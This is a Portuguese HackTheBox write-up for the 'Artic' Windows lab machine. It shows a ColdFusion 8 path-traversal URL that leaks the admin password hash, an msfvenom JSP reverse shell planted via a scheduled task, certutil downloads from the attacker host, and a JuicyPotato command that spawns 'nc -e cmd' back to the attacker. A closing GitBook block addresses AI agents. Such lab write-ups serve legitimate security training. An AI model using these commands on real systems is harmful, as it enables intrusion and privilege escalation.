> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).

# Resolução da máquina Artic do HackTheBox

{% hint style="warning" %}
**Habilidades:**

* Exploração do Adobe ColdFusion 8
* Vulnerabilidade de Travessia de Diretório
* Quebrando hashes
* Abusando de Tarefas Agendadas - Criando arquivo JSP malicioso
* Abusando do privilégio SeImpersonate (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/f79e22682bcc9a5294ad4e336487a7b70f815e18" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/94da83465c516b45e012135fd5b3c3735b836e0c" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```

<figure><img src="/files/1da08e48d817c6aeeb39d8f51cf836f3ddc91fa5" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/b4c7cc5ef6cd9c78686c78ab2c244a32b6168f45" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```

<figure><img src="/files/8e2cad9d3a236523c6cdd2d93c997d038ec65331" alt=""><figcaption></figcaption></figure>

## Exploração do Adobe ColdFusion 8 (Porta 8500)

Observamos um serviço de administração acessível na porta 8500 que exige um nome de usuário e senha para se conectar ao Adobe ColdFusion.

<figure><img src="/files/141a6b9042382f570af0989ca824258d0c7d9f11" alt=""><figcaption></figcaption></figure>

Ao pesquisar por vulnerabilidades associadas em `searchsploit`, encontramos um script operacional para uma vulnerabilidade de travessia de diretório.

<figure><img src="/files/fb915aedea68eb8a3da1e7580c88faa0b2703edc" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

Este script revela uma vulnerabilidade LFI para acessar a lista de senhas:

<figure><img src="/files/be5ee3dd9a8b899c7f22f192ac3f8682fb0d63fd" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/60bcadaee4e12d71d7cc9c2c7fc6dbc8af0c7f33" alt=""><figcaption></figcaption></figure>

O arquivo contém o seguinte valor para a senha:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/9310fa2b63da56e521510a73e28ab581377de0ac" alt=""><figcaption></figcaption></figure>

### Quebrando a senha

{% embed url="<https://crackstation.net/>" %}

Usando o CrackStation, deciframos este hash, e a senha é `happyday`. Agora podemos nos conectar com sucesso.

<figure><img src="/files/288f8fb593882e822491d62425a3293d1ded8c1c" alt=""><figcaption></figcaption></figure>

### Criando uma tarefa agendada maliciosa

<figure><img src="/files/d38ae18803111b149546265feaf897a912b8eb8f" alt=""><figcaption></figcaption></figure>

Na seção de tarefas agendadas, criaremos uma nova tarefa para salvar um arquivo malicioso no diretório `C:/ColdFusion8/wwwroot/CFIDE` ao qual temos direitos de leitura/escrita.

<figure><img src="/files/9de01edbe743b45457f7ef46197b7db4aafec492" alt="" width="563"><figcaption></figcaption></figure>

**Criação do arquivo JSP:** Como o servidor pode interpretar arquivos JSP, geraremos uma shell JSP com `msfvenom`:

<figure><img src="/files/35baa178315a5fed6aaeb15a8ce0f09cc8c61c56" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/5206cce1456a0a5c093bbd3bf90e825dc1249e27" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Adicionar uma nova tarefa:** Configuramos a tarefa agendada para executar este arquivo malicioso.

<figure><img src="/files/87307b7079d5a874fe1d66fdac677292357012bb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/998101026f2aa17397f2c7110aaff454ccfd3cab" alt="" width="563"><figcaption></figcaption></figure>

/*/* Servidor HTTP para transferir arquivo:/*/* Para transferir o arquivo JSP, iniciamos um servidor HTTP em nossa máquina:

```bash
python3 -m http.server 80
```

<figure><img src="/files/cc620ab61f4e9b72c18fb9917398cba093838cc0" alt=""><figcaption></figcaption></figure>

**Escuta e execução:** Escutamos a porta 443 para receber a shell reversa e então executamos a tarefa agendada em `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/47a2ead3a0ddc3e3a15e73b1b3e468b1934c8d07" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/26742db4418a5eaffd500be74bc3166b600e8bc3" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/08de9e19b4e755344ed4309d01ea554c7a140bf3" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Abusando de SeImpersonatePrivilege:

Descobrimos que o usuário possui o `SeImpersonatePrivilege` privilégio, tornando-o vulnerável a certas técnicas de escalonamento de privilégios. O comando abaixo confirma a presença desse privilégio:

```bash
whoami /priv
```

<figure><img src="/files/0813fff38437c7f3d0c10aab3c395b2149bfd4d1" alt=""><figcaption></figcaption></figure>

Para explorar essa vulnerabilidade, usaremos **JuicyPotato**uma ferramenta bem conhecida para abusar desse privilégio no contexto do Windows.

**Baixar as ferramentas necessárias**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Iniciando um servidor HTTP** em nossa máquina de ataque para disponibilizar arquivos:

```bash
python3 -m http.server 8080
```

**Transferir arquivos para a máquina-alvo** usando `certutil`:

```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```

<figure><img src="/files/962675cd42c39fb5793770d0f5f563d70a687bab" alt=""><figcaption></figcaption></figure>

**Execução do JuicyPotato para o escalonamento de privilégios**

Agora executaremos o JuicyPotato para obter uma sessão privilegiada. O comando a seguir inicia o JuicyPotato, que executa `cmd.exe` com privilégios elevados e inicia uma conexão com nossa máquina de ataque via Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```

**Entrar na sessão elevada**

Para interceptar a conexão, ouvimos a porta 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/44cd69d23c83cc32c0f5bcc99b269f6dbcfb3d14" alt="" width="563"><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/d8d2a7009d8d5e1693413a7bc20603e7c8eba8bc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/52a6a6bf1a01364cb6b6d8ddad17319c022cb5fb" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
